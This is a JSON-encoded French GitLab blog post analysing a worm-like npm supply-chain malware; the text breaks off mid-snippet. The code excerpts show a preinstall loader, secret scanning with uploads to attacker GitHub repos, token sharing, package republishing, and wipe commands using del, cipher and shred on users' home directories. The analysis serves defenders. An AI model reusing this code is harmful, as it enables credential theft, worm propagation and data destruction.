[{"data":1,"prerenderedAt":2784},["ShallowReactive",2],{"/fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack":3,"navigation-fr-fr":1988,"banner-fr-fr":2422,"footer-fr-fr":2430,"blog-post-authors-fr-fr-Daniel Abeles|Michael Henriksen":2669,"blog-related-posts-fr-fr-gitlab-discovers-widespread-npm-supply-chain-attack":2696,"blog-promotions-fr-fr":2722,"next-steps-fr-fr":2775},{"id":4,"title":5,"authors":6,"body":9,"category":1969,"date":1970,"description":1971,"extension":1972,"externalUrl":1973,"faq":1973,"featured":1974,"heroImage":1975,"meta":1976,"navigation":213,"path":1977,"seo":1978,"slug":1981,"stem":1982,"tags":1983,"template":1986,"updatedDate":1973,"__hash__":1987},"blogPosts/fr-fr/blog/gitlab-discovers-widespread-npm-supply-chain-attack.md","GitLab découvre une attaque généralisée de la chaîne d'approvisionnement npm",[7,8],"Daniel Abeles","Michael Henriksen",{"type":10,"value":11,"toc":1956},"minimark",[12,23,31,36,41,51,69,72,76,83,88,100,262,272,276,279,324,452,456,459,666,669,924,928,931,954,1232,1236,1239,1246,1681,1684,1688,1691,1858,1862,1865,1893,1896,1906,1915,1926,1929,1933,1942,1946,1949,1952],[13,14,15,16,22],"p",{},"L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une attaque active à grande échelle de la chaîne d'approvisionnement de l'écosystème npm au moyen d'un logiciel malveillant (« malware »). Notre système de surveillance interne a découvert plusieurs paquets infectés contenant ce qui semble être une version évoluée du malware « ",[17,18,21],"a",{"href":19,"rel":20},"https://www.cisa.gov/news-events/alerts/2025/09/23/widespread-supply-chain-compromise-impacting-npm-ecosystem",[],"Shai-Hulud"," ».",[13,24,25,26,30],{},"Les premières analyses révèlent un comportement de propagation similaire à celui d'un ver qui infecte automatiquement d'autres paquets maintenus par les équipes de développement concernées. Plus important encore, nous avons découvert que le logiciel malveillant contenait un ",[27,28,29],"strong",{},"mécanisme d'autodestruction"," qui menaçait de détruire les données des utilisateurs si ses canaux de propagation et d'exfiltration étaient fermés.",[13,32,33],{},[27,34,35],{},"Nous avons vérifié que GitLab n'utilisait aucun des paquets malveillants et partageons nos conclusions pour aider la communauté de sécurité à répondre efficacement à cette attaque.",[37,38,40],"h2",{"id":39},"analyse-de-lattaque","Analyse de l'attaque",[13,42,43,44,50],{},"Notre système de surveillance interne, qui analyse les registres de paquets ",[17,45,49],{"href":46,"rel":47,"title":48},"https://about.gitlab.com/fr-fr/blog/what-is-open-source/",[],"Qu'est-ce que l'open source ?","open source"," à la recherche de paquets malveillants, a identifié plusieurs paquets npm infectés par un malware sophistiqué qui :",[52,53,54,58,61,64],"ul",{},[55,56,57],"li",{},"Collecte les identifiants de GitHub, npm, AWS, GCP et Azure.",[55,59,60],{},"Exfiltre les données volées vers des dépôts GitHub contrôlés par les attaquants.",[55,62,63],{},"Se propage en infectant automatiquement d'autres paquets appartenant aux victimes.",[55,65,66],{},[27,67,68],{},"Contient une charge utile destructrice qui se déclenche si le logiciel malveillant perd l'accès à son infrastructure.",[13,70,71],{},"Bien que nous ayons confirmé plusieurs paquets infectés, le mécanisme de propagation, semblable à un ver, implique que de nombreux autres paquets sont probablement compromis. Notre analyse n'est pas terminée, et nous essayons de comprendre l'étendue complète de cette attaque.",[37,73,75],{"id":74},"analyse-technique-déroulement-de-lattaque","Analyse technique : déroulement de l'attaque",[13,77,78],{},[79,80],"img",{"alt":81,"src":82},"Diagramme Mermaid qui illustre le déroulement de l'attaque","https://res.cloudinary.com/about-gitlab-com/image/upload/v1764040799/igbsaqqvlwjqbrnxmh8k.png",[84,85,87],"h3",{"id":86},"vecteur-dinfection-initial","Vecteur d'infection initial",[13,89,90,91,95,96,99],{},"Le logiciel malveillant infiltre les systèmes au moyen d'un processus de chargement en plusieurs étapes soigneusement conçu. Les paquets infectés contiennent un ",[92,93,94],"code",{},"package.json"," modifié avec un script de pré-installation pointant vers ",[92,97,98],{},"setup_bun.js",". Ce script semble anodin et prétend installer l'environnement d'exécution JavaScript Bun, un outil légitime. Cependant, son véritable objectif est d’établir l'environnement d'exécution du malware.",[101,102,107],"pre",{"className":103,"code":104,"language":105,"meta":106,"style":106},"language-javascript shiki shiki-themes github-light","// This file gets added to victim's packages as setup_bun.js\n#!/usr/bin/env node\nasync function downloadAndSetupBun() {\n  // Downloads and installs bun\n  let command = process.platform === 'win32'\n    ? 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n    : 'curl -fsSL https://bun.sh/install | bash';\n\n  execSync(command, { stdio: 'ignore' });\n\n  // Runs the actual malware\n  runExecutable(bunPath, ['bun_environment.js']);\n}\n","javascript","",[92,108,109,118,143,159,165,187,196,208,215,230,235,241,256],{"__ignoreMap":106},[110,111,114],"span",{"class":112,"line":113},"line",1,[110,115,117],{"class":116},"sAwPA","// This file gets added to victim's packages as setup_bun.js\n",[110,119,121,125,129,132,135,138,140],{"class":112,"line":120},2,[110,122,124],{"class":123},"sgsFI","#",[110,126,128],{"class":127},"sD7c4","!/",[110,130,131],{"class":123},"usr",[110,133,134],{"class":127},"/",[110,136,137],{"class":123},"bin",[110,139,134],{"class":127},[110,141,142],{"class":123},"env node\n",[110,144,146,149,152,156],{"class":112,"line":145},3,[110,147,148],{"class":127},"async",[110,150,151],{"class":127}," function",[110,153,155],{"class":154},"s7eDp"," downloadAndSetupBun",[110,157,158],{"class":123},"() {\n",[110,160,162],{"class":112,"line":161},4,[110,163,164],{"class":116},"  // Downloads and installs bun\n",[110,166,168,171,174,177,180,183],{"class":112,"line":167},5,[110,169,170],{"class":127},"  let",[110,172,173],{"class":123}," command ",[110,175,176],{"class":127},"=",[110,178,179],{"class":123}," process.platform ",[110,181,182],{"class":127},"===",[110,184,186],{"class":185},"sYBdl"," 'win32'\n",[110,188,190,193],{"class":112,"line":189},6,[110,191,192],{"class":127},"    ?",[110,194,195],{"class":185}," 'powershell -c \"irm bun.sh/install.ps1|iex\"'\n",[110,197,199,202,205],{"class":112,"line":198},7,[110,200,201],{"class":127},"    :",[110,203,204],{"class":185}," 'curl -fsSL https://bun.sh/install | bash'",[110,206,207],{"class":123},";\n",[110,209,211],{"class":112,"line":210},8,[110,212,214],{"emptyLinePlaceholder":213},true,"\n",[110,216,218,221,224,227],{"class":112,"line":217},9,[110,219,220],{"class":154},"  execSync",[110,222,223],{"class":123},"(command, { stdio: ",[110,225,226],{"class":185},"'ignore'",[110,228,229],{"class":123}," });\n",[110,231,233],{"class":112,"line":232},10,[110,234,214],{"emptyLinePlaceholder":213},[110,236,238],{"class":112,"line":237},11,[110,239,240],{"class":116},"  // Runs the actual malware\n",[110,242,244,247,250,253],{"class":112,"line":243},12,[110,245,246],{"class":154},"  runExecutable",[110,248,249],{"class":123},"(bunPath, [",[110,251,252],{"class":185},"'bun_environment.js'",[110,254,255],{"class":123},"]);\n",[110,257,259],{"class":112,"line":258},13,[110,260,261],{"class":123},"}\n",[13,263,264,265,267,268,271],{},"Le fichier ",[92,266,98],{}," télécharge ou localise l'environnement d'exécution Bun sur le système, puis exécute la charge utile ",[92,269,270],{},"bun_environment.js",", un fichier obfusqué de 10 Mo déjà présent dans le paquet infecté. Cette approche offre plusieurs couches d'évasion : le fichier est petit et semble légitime, tandis que le code malveillant réel est fortement obfusqué et regroupé dans un fichier trop volumineux pour une simple inspection.",[84,273,275],{"id":274},"collecte-des-identifiants","Collecte des identifiants",[13,277,278],{},"Une fois exécuté, le logiciel malveillant commence immédiatement à rechercher des identifiants dans plusieurs sources :",[52,280,281,295,301,311],{},[55,282,283,286,287,290,291,294],{},[27,284,285],{},"Tokens GitHub"," : il recherche dans les variables d'environnement et les configurations de l'interface de ligne de commande (CLI) GitHub les tokens commençant par ",[92,288,289],{},"ghp_"," (token d'accès personnel GitHub) ou ",[92,292,293],{},"gho_"," (token OAuth GitHub).",[55,296,297,300],{},[27,298,299],{},"Identifiants cloud"," : il énumère les identifiants AWS, GCP et Azure à l'aide des SDK officiels et vérifie les variables d'environnement, les fichiers de configuration et les services de métadonnées.",[55,302,303,306,307,310],{},[27,304,305],{},"Tokens npm"," : il extrait les tokens de publication de paquets des fichiers ",[92,308,309],{},".npmrc"," et des variables d'environnement, qui sont des emplacements courants pour stocker de manière sécurisée des configurations et des identifiants sensibles.",[55,312,313,316,317,323],{},[27,314,315],{},"Analyse du système de fichiers"," : il télécharge et exécute Trufflehog, un outil de sécurité légitime, pour analyser l'intégralité du répertoire personnel à la recherche de clés API, de mots de passe et d'autres secrets cachés dans les fichiers de configuration, le code source ou l'historique ",[17,318,322],{"href":319,"rel":320,"title":321},"https://about.gitlab.com/fr-fr/blog/what-is-git/",[],"Qu'est-ce que Git ?","git",".",[101,325,327],{"className":103,"code":326,"language":105,"meta":106,"style":106},"async function scanFilesystem() {\n  let scanner = new Trufflehog();\n  await scanner.initialize();\n\n  // Scan user's home directory for secrets\n  let findings = await scanner.scanFilesystem(os.homedir());\n\n  // Upload findings to exfiltration repo\n  await github.saveContents(\"truffleSecrets.json\",\n    JSON.stringify(findings));\n}\n",[92,328,329,340,358,371,375,380,406,410,415,434,448],{"__ignoreMap":106},[110,330,331,333,335,338],{"class":112,"line":113},[110,332,148],{"class":127},[110,334,151],{"class":127},[110,336,337],{"class":154}," scanFilesystem",[110,339,158],{"class":123},[110,341,342,344,347,349,352,355],{"class":112,"line":120},[110,343,170],{"class":127},[110,345,346],{"class":123}," scanner ",[110,348,176],{"class":127},[110,350,351],{"class":127}," new",[110,353,354],{"class":154}," Trufflehog",[110,356,357],{"class":123},"();\n",[110,359,360,363,366,369],{"class":112,"line":145},[110,361,362],{"class":127},"  await",[110,364,365],{"class":123}," scanner.",[110,367,368],{"class":154},"initialize",[110,370,357],{"class":123},[110,372,373],{"class":112,"line":161},[110,374,214],{"emptyLinePlaceholder":213},[110,376,377],{"class":112,"line":167},[110,378,379],{"class":116},"  // Scan user's home directory for secrets\n",[110,381,382,384,387,389,392,394,397,400,403],{"class":112,"line":189},[110,383,170],{"class":127},[110,385,386],{"class":123}," findings ",[110,388,176],{"class":127},[110,390,391],{"class":127}," await",[110,393,365],{"class":123},[110,395,396],{"class":154},"scanFilesystem",[110,398,399],{"class":123},"(os.",[110,401,402],{"class":154},"homedir",[110,404,405],{"class":123},"());\n",[110,407,408],{"class":112,"line":198},[110,409,214],{"emptyLinePlaceholder":213},[110,411,412],{"class":112,"line":210},[110,413,414],{"class":116},"  // Upload findings to exfiltration repo\n",[110,416,417,419,422,425,428,431],{"class":112,"line":217},[110,418,362],{"class":127},[110,420,421],{"class":123}," github.",[110,423,424],{"class":154},"saveContents",[110,426,427],{"class":123},"(",[110,429,430],{"class":185},"\"truffleSecrets.json\"",[110,432,433],{"class":123},",\n",[110,435,436,440,442,445],{"class":112,"line":232},[110,437,439],{"class":438},"sYu0t","    JSON",[110,441,323],{"class":123},[110,443,444],{"class":154},"stringify",[110,446,447],{"class":123},"(findings));\n",[110,449,450],{"class":112,"line":237},[110,451,261],{"class":123},[84,453,455],{"id":454},"réseau-dexfiltration-de-données","Réseau d'exfiltration de données",[13,457,458],{},"Le logiciel malveillant utilise les tokens GitHub volés pour créer des dépôts publics avec un marqueur spécifique dans leur description : « Sha1-Hulud: The Second Coming. » Ces dépôts servent de boîtes de dépôt pour les identifiants volés et les informations système.",[101,460,462],{"className":103,"code":461,"language":105,"meta":106,"style":106},"async function createRepo(name) {\n  // Creates a repository with a specific description marker\n  let repo = await this.octokit.repos.createForAuthenticatedUser({\n    name: name,\n    description: \"Sha1-Hulud: The Second Coming.\", // Marker for finding repos later\n    private: false,\n    auto_init: false,\n    has_discussions: true\n  });\n\n  // Install GitHub Actions runner for persistence\n  if (await this.checkWorkflowScope()) {\n    let token = await this.octokit.request(\n      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n    );\n    await installRunner(token); // Installs self-hosted runner\n  }\n\n  return repo;\n}\n",[92,463,464,482,487,510,515,529,539,548,556,561,565,570,591,614,620,626,641,647,652,661],{"__ignoreMap":106},[110,465,466,468,470,473,475,479],{"class":112,"line":113},[110,467,148],{"class":127},[110,469,151],{"class":127},[110,471,472],{"class":154}," createRepo",[110,474,427],{"class":123},[110,476,478],{"class":477},"sqxcx","name",[110,480,481],{"class":123},") {\n",[110,483,484],{"class":112,"line":120},[110,485,486],{"class":116},"  // Creates a repository with a specific description marker\n",[110,488,489,491,494,496,498,501,504,507],{"class":112,"line":145},[110,490,170],{"class":127},[110,492,493],{"class":123}," repo ",[110,495,176],{"class":127},[110,497,391],{"class":127},[110,499,500],{"class":438}," this",[110,502,503],{"class":123},".octokit.repos.",[110,505,506],{"class":154},"createForAuthenticatedUser",[110,508,509],{"class":123},"({\n",[110,511,512],{"class":112,"line":161},[110,513,514],{"class":123},"    name: name,\n",[110,516,517,520,523,526],{"class":112,"line":167},[110,518,519],{"class":123},"    description: ",[110,521,522],{"class":185},"\"Sha1-Hulud: The Second Coming.\"",[110,524,525],{"class":123},", ",[110,527,528],{"class":116},"// Marker for finding repos later\n",[110,530,531,534,537],{"class":112,"line":189},[110,532,533],{"class":123},"    private: ",[110,535,536],{"class":438},"false",[110,538,433],{"class":123},[110,540,541,544,546],{"class":112,"line":198},[110,542,543],{"class":123},"    auto_init: ",[110,545,536],{"class":438},[110,547,433],{"class":123},[110,549,550,553],{"class":112,"line":210},[110,551,552],{"class":123},"    has_discussions: ",[110,554,555],{"class":438},"true\n",[110,557,558],{"class":112,"line":217},[110,559,560],{"class":123},"  });\n",[110,562,563],{"class":112,"line":232},[110,564,214],{"emptyLinePlaceholder":213},[110,566,567],{"class":112,"line":237},[110,568,569],{"class":116},"  // Install GitHub Actions runner for persistence\n",[110,571,572,575,578,581,583,585,588],{"class":112,"line":243},[110,573,574],{"class":127},"  if",[110,576,577],{"class":123}," (",[110,579,580],{"class":127},"await",[110,582,500],{"class":438},[110,584,323],{"class":123},[110,586,587],{"class":154},"checkWorkflowScope",[110,589,590],{"class":123},"()) {\n",[110,592,593,596,599,601,603,605,608,611],{"class":112,"line":258},[110,594,595],{"class":127},"    let",[110,597,598],{"class":123}," token ",[110,600,176],{"class":127},[110,602,391],{"class":127},[110,604,500],{"class":438},[110,606,607],{"class":123},".octokit.",[110,609,610],{"class":154},"request",[110,612,613],{"class":123},"(\n",[110,615,617],{"class":112,"line":616},14,[110,618,619],{"class":185},"      \"POST /repos/{owner}/{repo}/actions/runners/registration-token\"\n",[110,621,623],{"class":112,"line":622},15,[110,624,625],{"class":123},"    );\n",[110,627,629,632,635,638],{"class":112,"line":628},16,[110,630,631],{"class":127},"    await",[110,633,634],{"class":154}," installRunner",[110,636,637],{"class":123},"(token); ",[110,639,640],{"class":116},"// Installs self-hosted runner\n",[110,642,644],{"class":112,"line":643},17,[110,645,646],{"class":123},"  }\n",[110,648,650],{"class":112,"line":649},18,[110,651,214],{"emptyLinePlaceholder":213},[110,653,655,658],{"class":112,"line":654},19,[110,656,657],{"class":127},"  return",[110,659,660],{"class":123}," repo;\n",[110,662,664],{"class":112,"line":663},20,[110,665,261],{"class":123},[13,667,668],{},"Si le token GitHub initial ne possède pas les autorisations requises, le logiciel malveillant recherche d'autres dépôts compromis avec le même marqueur, ce qui lui permet de récupérer des tokens d'autres systèmes infectés. Il naît ainsi un réseau résilient de type « botnet » dans lequel les systèmes compromis partagent des tokens d'accès.",[101,670,672],{"className":103,"code":671,"language":105,"meta":106,"style":106},"// How the malware network shares tokens:\nasync fetchToken() {\n  // Search GitHub for repos with the identifying marker\n  let results = await this.octokit.search.repos({\n    q: '\"Sha1-Hulud: The Second Coming.\"',\n    sort: \"updated\"\n  });\n\n  // Try to retrieve tokens from compromised repos\n  for (let repo of results) {\n    let contents = await fetch(\n      `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`\n    );\n\n    let data = JSON.parse(Buffer.from(contents, 'base64').toString());\n    let token = data?.modules?.github?.token;\n\n    if (token && await validateToken(token)) {\n      return token;  // Use token from another infected system\n    }\n  }\n  return null;  // No valid tokens found in network\n}\n",[92,673,674,679,689,694,715,725,733,737,741,746,764,780,805,809,813,850,861,865,884,895,900,905,919],{"__ignoreMap":106},[110,675,676],{"class":112,"line":113},[110,677,678],{"class":116},"// How the malware network shares tokens:\n",[110,680,681,684,687],{"class":112,"line":120},[110,682,683],{"class":123},"async ",[110,685,686],{"class":154},"fetchToken",[110,688,158],{"class":123},[110,690,691],{"class":112,"line":145},[110,692,693],{"class":116},"  // Search GitHub for repos with the identifying marker\n",[110,695,696,698,701,703,705,707,710,713],{"class":112,"line":161},[110,697,170],{"class":127},[110,699,700],{"class":123}," results ",[110,702,176],{"class":127},[110,704,391],{"class":127},[110,706,500],{"class":438},[110,708,709],{"class":123},".octokit.search.",[110,711,712],{"class":154},"repos",[110,714,509],{"class":123},[110,716,717,720,723],{"class":112,"line":167},[110,718,719],{"class":123},"    q: ",[110,721,722],{"class":185},"'\"Sha1-Hulud: The Second Coming.\"'",[110,724,433],{"class":123},[110,726,727,730],{"class":112,"line":189},[110,728,729],{"class":123},"    sort: ",[110,731,732],{"class":185},"\"updated\"\n",[110,734,735],{"class":112,"line":198},[110,736,560],{"class":123},[110,738,739],{"class":112,"line":210},[110,740,214],{"emptyLinePlaceholder":213},[110,742,743],{"class":112,"line":217},[110,744,745],{"class":116},"  // Try to retrieve tokens from compromised repos\n",[110,747,748,751,753,756,758,761],{"class":112,"line":232},[110,749,750],{"class":127},"  for",[110,752,577],{"class":123},[110,754,755],{"class":127},"let",[110,757,493],{"class":123},[110,759,760],{"class":127},"of",[110,762,763],{"class":123}," results) {\n",[110,765,766,768,771,773,775,778],{"class":112,"line":237},[110,767,595],{"class":127},[110,769,770],{"class":123}," contents ",[110,772,176],{"class":127},[110,774,391],{"class":127},[110,776,777],{"class":154}," fetch",[110,779,613],{"class":123},[110,781,782,785,788,790,793,796,798,800,802],{"class":112,"line":243},[110,783,784],{"class":185},"      `https://raw.githubusercontent.com/${",[110,786,787],{"class":123},"repo",[110,789,323],{"class":185},[110,791,792],{"class":123},"owner",[110,794,795],{"class":185},"}/${",[110,797,787],{"class":123},[110,799,323],{"class":185},[110,801,478],{"class":123},[110,803,804],{"class":185},"}/main/contents.json`\n",[110,806,807],{"class":112,"line":258},[110,808,625],{"class":123},[110,810,811],{"class":112,"line":616},[110,812,214],{"emptyLinePlaceholder":213},[110,814,815,817,820,822,825,827,830,833,836,839,842,845,848],{"class":112,"line":622},[110,816,595],{"class":127},[110,818,819],{"class":123}," data ",[110,821,176],{"class":127},[110,823,824],{"class":438}," JSON",[110,826,323],{"class":123},[110,828,829],{"class":154},"parse",[110,831,832],{"class":123},"(Buffer.",[110,834,835],{"class":154},"from",[110,837,838],{"class":123},"(contents, ",[110,840,841],{"class":185},"'base64'",[110,843,844],{"class":123},").",[110,846,847],{"class":154},"toString",[110,849,405],{"class":123},[110,851,852,854,856,858],{"class":112,"line":628},[110,853,595],{"class":127},[110,855,598],{"class":123},[110,857,176],{"class":127},[110,859,860],{"class":123}," data?.modules?.github?.token;\n",[110,862,863],{"class":112,"line":643},[110,864,214],{"emptyLinePlaceholder":213},[110,866,867,870,873,876,878,881],{"class":112,"line":649},[110,868,869],{"class":127},"    if",[110,871,872],{"class":123}," (token ",[110,874,875],{"class":127},"&&",[110,877,391],{"class":127},[110,879,880],{"class":154}," validateToken",[110,882,883],{"class":123},"(token)) {\n",[110,885,886,889,892],{"class":112,"line":654},[110,887,888],{"class":127},"      return",[110,890,891],{"class":123}," token;  ",[110,893,894],{"class":116},"// Use token from another infected system\n",[110,896,897],{"class":112,"line":663},[110,898,899],{"class":123},"    }\n",[110,901,903],{"class":112,"line":902},21,[110,904,646],{"class":123},[110,906,908,910,913,916],{"class":112,"line":907},22,[110,909,657],{"class":127},[110,911,912],{"class":438}," null",[110,914,915],{"class":123},";  ",[110,917,918],{"class":116},"// No valid tokens found in network\n",[110,920,922],{"class":112,"line":921},23,[110,923,261],{"class":123},[84,925,927],{"id":926},"propagation-dans-la-chaîne-dapprovisionnement","Propagation dans la chaîne d'approvisionnement",[13,929,930],{},"En utilisant les tokens npm volés, le logiciel malveillant :",[932,933,934,937,943,948,951],"ol",{},[55,935,936],{},"Télécharge tous les paquets maintenus par la victime.",[55,938,939,940,942],{},"Injecte le fichier ",[92,941,98],{}," dans les scripts de pré-installation de chaque paquet.",[55,944,945,946,323],{},"Regroupe la charge utile malveillante ",[92,947,270],{},[55,949,950],{},"Incrémente le numéro de version du paquet.",[55,952,953],{},"Republie les paquets infectés sur npm.",[101,955,957],{"className":103,"code":956,"language":105,"meta":106,"style":106},"async function updatePackage(packageInfo) {\n  // Download original package\n  let tarball = await fetch(packageInfo.tarballUrl);\n\n  // Extract and modify package.json\n  let packageJson = JSON.parse(await readFile(\"package.json\"));\n\n  // Add malicious preinstall script\n  packageJson.scripts.preinstall = \"node setup_bun.js\";\n\n  // Increment version\n  let version = packageJson.version.split(\".\").map(Number);\n  version[2] = (version[2] || 0) + 1;\n  packageJson.version = version.join(\".\");\n\n  // Bundle backdoor installer\n  await writeFile(\"setup_bun.js\", BACKDOOR_CODE);\n\n  // Repackage and publish\n  await Bun.$`npm publish ${modifiedPackage}`.env({\n    NPM_CONFIG_TOKEN: this.token\n  });\n}\n",[92,958,959,975,980,996,1000,1005,1035,1039,1044,1056,1060,1065,1093,1130,1150,1154,1159,1178,1182,1187,1213,1224,1228],{"__ignoreMap":106},[110,960,961,963,965,968,970,973],{"class":112,"line":113},[110,962,148],{"class":127},[110,964,151],{"class":127},[110,966,967],{"class":154}," updatePackage",[110,969,427],{"class":123},[110,971,972],{"class":477},"packageInfo",[110,974,481],{"class":123},[110,976,977],{"class":112,"line":120},[110,978,979],{"class":116},"  // Download original package\n",[110,981,982,984,987,989,991,993],{"class":112,"line":145},[110,983,170],{"class":127},[110,985,986],{"class":123}," tarball ",[110,988,176],{"class":127},[110,990,391],{"class":127},[110,992,777],{"class":154},[110,994,995],{"class":123},"(packageInfo.tarballUrl);\n",[110,997,998],{"class":112,"line":161},[110,999,214],{"emptyLinePlaceholder":213},[110,1001,1002],{"class":112,"line":167},[110,1003,1004],{"class":116},"  // Extract and modify package.json\n",[110,1006,1007,1009,1012,1014,1016,1018,1020,1022,1024,1027,1029,1032],{"class":112,"line":189},[110,1008,170],{"class":127},[110,1010,1011],{"class":123}," packageJson ",[110,1013,176],{"class":127},[110,1015,824],{"class":438},[110,1017,323],{"class":123},[110,1019,829],{"class":154},[110,1021,427],{"class":123},[110,1023,580],{"class":127},[110,1025,1026],{"class":154}," readFile",[110,1028,427],{"class":123},[110,1030,1031],{"class":185},"\"package.json\"",[110,1033,1034],{"class":123},"));\n",[110,1036,1037],{"class":112,"line":198},[110,1038,214],{"emptyLinePlaceholder":213},[110,1040,1041],{"class":112,"line":210},[110,1042,1043],{"class":116},"  // Add malicious preinstall script\n",[110,1045,1046,1049,1051,1054],{"class":112,"line":217},[110,1047,1048],{"class":123},"  packageJson.scripts.preinstall ",[110,1050,176],{"class":127},[110,1052,1053],{"class":185}," \"node setup_bun.js\"",[110,1055,207],{"class":123},[110,1057,1058],{"class":112,"line":232},[110,1059,214],{"emptyLinePlaceholder":213},[110,1061,1062],{"class":112,"line":237},[110,1063,1064],{"class":116},"  // Increment version\n",[110,1066,1067,1069,1072,1074,1077,1080,1082,1085,1087,1090],{"class":112,"line":243},[110,1068,170],{"class":127},[110,1070,1071],{"class":123}," version ",[110,1073,176],{"class":127},[110,1075,1076],{"class":123}," packageJson.version.",[110,1078,1079],{"class":154},"split",[110,1081,427],{"class":123},[110,1083,1084],{"class":185},"\".\"",[110,1086,844],{"class":123},[110,1088,1089],{"class":154},"map",[110,1091,1092],{"class":123},"(Number);\n",[110,1094,1095,1098,1101,1104,1106,1109,1111,1113,1116,1119,1122,1125,1128],{"class":112,"line":258},[110,1096,1097],{"class":123},"  version[",[110,1099,1100],{"class":438},"2",[110,1102,1103],{"class":123},"] ",[110,1105,176],{"class":127},[110,1107,1108],{"class":123}," (version[",[110,1110,1100],{"class":438},[110,1112,1103],{"class":123},[110,1114,1115],{"class":127},"||",[110,1117,1118],{"class":438}," 0",[110,1120,1121],{"class":123},") ",[110,1123,1124],{"class":127},"+",[110,1126,1127],{"class":438}," 1",[110,1129,207],{"class":123},[110,1131,1132,1135,1137,1140,1143,1145,1147],{"class":112,"line":616},[110,1133,1134],{"class":123},"  packageJson.version ",[110,1136,176],{"class":127},[110,1138,1139],{"class":123}," version.",[110,1141,1142],{"class":154},"join",[110,1144,427],{"class":123},[110,1146,1084],{"class":185},[110,1148,1149],{"class":123},");\n",[110,1151,1152],{"class":112,"line":622},[110,1153,214],{"emptyLinePlaceholder":213},[110,1155,1156],{"class":112,"line":628},[110,1157,1158],{"class":116},"  // Bundle backdoor installer\n",[110,1160,1161,1163,1166,1168,1171,1173,1176],{"class":112,"line":643},[110,1162,362],{"class":127},[110,1164,1165],{"class":154}," writeFile",[110,1167,427],{"class":123},[110,1169,1170],{"class":185},"\"setup_bun.js\"",[110,1172,525],{"class":123},[110,1174,1175],{"class":438},"BACKDOOR_CODE",[110,1177,1149],{"class":123},[110,1179,1180],{"class":112,"line":649},[110,1181,214],{"emptyLinePlaceholder":213},[110,1183,1184],{"class":112,"line":654},[110,1185,1186],{"class":116},"  // Repackage and publish\n",[110,1188,1189,1191,1194,1197,1200,1203,1206,1208,1211],{"class":112,"line":663},[110,1190,362],{"class":127},[110,1192,1193],{"class":123}," Bun.",[110,1195,1196],{"class":154},"$",[110,1198,1199],{"class":185},"`npm publish ${",[110,1201,1202],{"class":123},"modifiedPackage",[110,1204,1205],{"class":185},"}`",[110,1207,323],{"class":123},[110,1209,1210],{"class":154},"env",[110,1212,509],{"class":123},[110,1214,1215,1218,1221],{"class":112,"line":902},[110,1216,1217],{"class":123},"    NPM_CONFIG_TOKEN: ",[110,1219,1220],{"class":438},"this",[110,1222,1223],{"class":123},".token\n",[110,1225,1226],{"class":112,"line":907},[110,1227,560],{"class":123},[110,1229,1230],{"class":112,"line":921},[110,1231,261],{"class":123},[37,1233,1235],{"id":1234},"mécanisme-dautodestruction","Mécanisme d'autodestruction",[13,1237,1238],{},"Notre analyse a révélé une charge utile destructrice conçue pour protéger l'infrastructure du logiciel malveillant contre les tentatives de neutralisation.",[13,1240,1241,1242,1245],{},"Le malware surveille en permanence son accès à GitHub (pour l'exfiltration de données) et à npm (pour la propagation). Si un système infecté perd l'accès aux deux canaux simultanément, le logiciel malveillant déclenche la destruction immédiate des données sur la machine compromise. Sur Windows, il tente de supprimer tous les fichiers utilisateur et d'écraser les secteurs du disque. Sur les systèmes Unix, il utilise ",[92,1243,1244],{},"shred"," pour écraser les fichiers avant leur suppression, ce qui rend la récupération pratiquement impossible.",[101,1247,1249],{"className":103,"code":1248,"language":105,"meta":106,"style":106},"// CRITICAL: Token validation failure triggers destruction\nasync function aL0() {\n  let githubApi = new dq();\n  let npmToken = process.env.NPM_TOKEN || await findNpmToken();\n\n  // Try to find or create GitHub access\n  if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {\n    let fetchedToken = await githubApi.fetchToken(); // Search for tokens in compromised repos\n\n    if (!fetchedToken) {  // No GitHub access possible\n      if (npmToken) {\n        // Fallback to NPM propagation only\n        await El(npmToken);\n      } else {\n        // DESTRUCTION TRIGGER: No GitHub AND no NPM access\n        console.log(\"Error 12\");\n        if (platform === \"windows\") {\n          // Attempts to delete all user files and overwrite disk sectors\n          Bun.spawnSync([\"cmd.exe\", \"/c\",\n            \"del /F /Q /S \\\"%USERPROFILE%*\\\" && \" +\n            \"for /d %%i in (\\\"%USERPROFILE%*\\\") do rd /S /Q \\\"%%i\\\" & \" +\n            \"cipher /W:%USERPROFILE%\"  // Overwrite deleted data\n          ]);\n        } else {\n          // Attempts to shred all writable files in home directory\n          Bun.spawnSync([\"bash\", \"-c\",\n            \"find \\\"$HOME\\\" -type f -writable -user \\\"$(id -un)\\\" -print0 | \" +\n            \"xargs -0 -r shred -uvz -n 1 && \" +  // Overwrite and delete\n            \"find \\\"$HOME\\\" -depth -type d -empty -delete\"  // Remove empty dirs\n          ]);\n        }\n        process.exit(0);\n      }\n    }\n  }\n}\n",[92,1250,1251,1256,1267,1283,1308,1312,1317,1347,1369,1373,1387,1395,1400,1411,1422,1427,1442,1457,1462,1483,1502,1528,1536,1541,1551,1557,1576,1604,1616,1633,1638,1644,1660,1666,1671,1676],{"__ignoreMap":106},[110,1252,1253],{"class":112,"line":113},[110,1254,1255],{"class":116},"// CRITICAL: Token validation failure triggers destruction\n",[110,1257,1258,1260,1262,1265],{"class":112,"line":120},[110,1259,148],{"class":127},[110,1261,151],{"class":127},[110,1263,1264],{"class":154}," aL0",[110,1266,158],{"class":123},[110,1268,1269,1271,1274,1276,1278,1281],{"class":112,"line":145},[110,1270,170],{"class":127},[110,1272,1273],{"class":123}," githubApi ",[110,1275,176],{"class":127},[110,1277,351],{"class":127},[110,1279,1280],{"class":154}," dq",[110,1282,357],{"class":123},[110,1284,1285,1287,1290,1292,1295,1298,1301,1303,1306],{"class":112,"line":161},[110,1286,170],{"class":127},[110,1288,1289],{"class":123}," npmToken ",[110,1291,176],{"class":127},[110,1293,1294],{"class":123}," process.env.",[110,1296,1297],{"class":438},"NPM_TOKEN",[110,1299,1300],{"class":127}," ||",[110,1302,391],{"class":127},[110,1304,1305],{"class":154}," findNpmToken",[110,1307,357],{"class":123},[110,1309,1310],{"class":112,"line":167},[110,1311,214],{"emptyLinePlaceholder":213},[110,1313,1314],{"class":112,"line":189},[110,1315,1316],{"class":116},"  // Try to find or create GitHub 